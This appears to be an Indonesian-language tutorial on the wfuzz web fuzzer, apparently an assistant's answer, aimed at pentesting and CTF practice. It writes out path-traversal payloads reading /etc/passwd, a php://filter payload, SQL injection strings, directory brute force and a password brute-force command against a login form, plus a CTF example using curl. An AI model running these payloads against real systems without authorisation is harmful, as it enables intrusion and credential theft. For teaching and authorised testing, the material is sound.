

Perintah wfuzz itu digunakan untuk melakukan fuzzing parameter web, misalnya:

- mencari file tersembunyi
- bypass filter
- mencari LFI
- mencari endpoint
- brute force parameter

Perintah yang kamu tulis:

```
wfuzz -u "http://target/view?file=FUZZ" -w payload.txt
```

artinya:

| Bagian         | Fungsi                                |
|----------------|---------------------------------------|
| wfuzz          | menjalankan tool Wfuzz                |
| -u             | target URL                            |
| FUZZ           | placeholder yang akan diganti payload |
| -w payload.txt | wordlist/payload                      |

---

## 1. Install Wfuzz di Ubuntu

Cara paling mudah:

```
sudo apt update
```

```
sudo apt install wfuzz
```

Cek:

```
wfuzz --help
```

Atau install via pip:

```
pip install wfuzz
```

Dokumentasi resmi: [Wfuzz GitHub](#)

---

## 2. Contoh Payload File

Buat payload.txt

/etc/passwd

../../../../etc/passwd

index.php

config.php

admin.php

---

### 3. Cara Kerja FUZZ

Misalnya payload pertama:

/etc/passwd

Maka request menjadi:

GET /view?file=/etc/passwd

Payload kedua:

../../../../etc/passwd

Menjadi:

GET /view?file=../../../../etc/passwd

---

### 4. Contoh Penggunaan untuk LFI

wfuzz -u "http://target/view.php?file=FUZZ" -w lfi.txt

Payload:

/etc/passwd

../../../../etc/passwd

....//....//etc/passwd

php://filter/convert.base64-encode/resource=index.php

---

### 5. Menyembunyikan Response Tidak Penting

Biasanya banyak response 404.

Gunakan:

wfuzz --hc 404 -u "http://target/FUZZ" -w wordlist.txt

--hc 404  
= hide code 404.

---

## 6. Fuzzing Directory

wfuzz --hc 404 -w common.txt http://target/FUZZ

Mencari:

- admin
  - backup
  - uploads
  - config
- 

## 7. Fuzzing Parameter

wfuzz -u "http://target/search?q=FUZZ" -w sqlmap.txt

Payload SQLi:

'

" OR 1=1--

admin'--

---

## 8. Multiple FUZZ

wfuzz -u "http://target/FUZZ?id=FUZZ2" \

-w dirs.txt \

-w ids.txt

FUZZ pertama:

- path

FUZZ2:

- parameter kedua
- 

## 9. Menambahkan Header

Contoh cookie session:

```
wfuzz -u "http://target/FUZZ" \  
-H "Cookie: PHPSESSID=123" \  
-w wordlist.txt
```

Authorization:

```
wfuzz -H "Authorization: Bearer TOKEN" \  
-u "http://target/api/FUZZ" \  
-w api.txt
```

---

## 10. POST Request

```
wfuzz -z file,payload.txt \  
-d "username=admin&password=FUZZ" \  
http://target/login
```

---

## 11. Filter Berdasarkan Size

Kadang semua response 200 OK.

Gunakan:

```
wfuzz --hs 1234
```

Hide size 1234.

Atau:

```
wfuzz --hh 100
```

Hide word count tertentu.

---

## 12. Wordlist Umum

Biasanya dari:

[SecLists GitHub](#)

Install:

```
sudo apt install seclists
```

Lokasi:

/usr/share/seclists/

---

### 13. Contoh Nyata CTF

#### Soal

Aplikasi:

/view.php?file=

#### Fuzz

```
wfuzz --hc 404 \
```

```
-u "http://ctf.local/view.php?file=FUZZ" \
```

```
-w lfi.txt
```

#### Hasil

```
00000003: 200 5324 L ../../../../etc/passwd
```

#### Exploit

```
curl "http://ctf.local/view.php?file=../../../../etc/passwd"
```

---

### 14. Tips Penting

#### Gunakan Thread

```
-t 50
```

Contoh:

```
wfuzz -t 50 -w common.txt http://target/FUZZ
```

---

#### Simpan Output

```
-f hasil.txt
```

---

#### Gunakan Proxy Burp

```
-p 127.0.0.1:8080
```

Contoh:

```
wfuzz -p 127.0.0.1:8080 \  
-u "http://target/FUZZ" \  
-w wordlist.txt
```

---

## 15. Wfuzz Cocok untuk

- LFI fuzzing
  - Directory brute force
  - Hidden endpoint
  - API fuzzing
  - Parameter discovery
  - SQLi payload testing
  - Header fuzzing
  - Cookie fuzzing
- 

## 16. Tool Alternatif

| Tool                       | Fungsi                |
|----------------------------|-----------------------|
| <a href="#">ffuf</a>       | lebih cepat           |
| <a href="#">Gobuster</a>   | directory brute force |
| <a href="#">Dirsearch</a>  | directory scanner     |
| <a href="#">Burp Suite</a> | web pentest suite     |

ffuf sekarang paling populer untuk CTF karena lebih cepat dibanding wfuzz.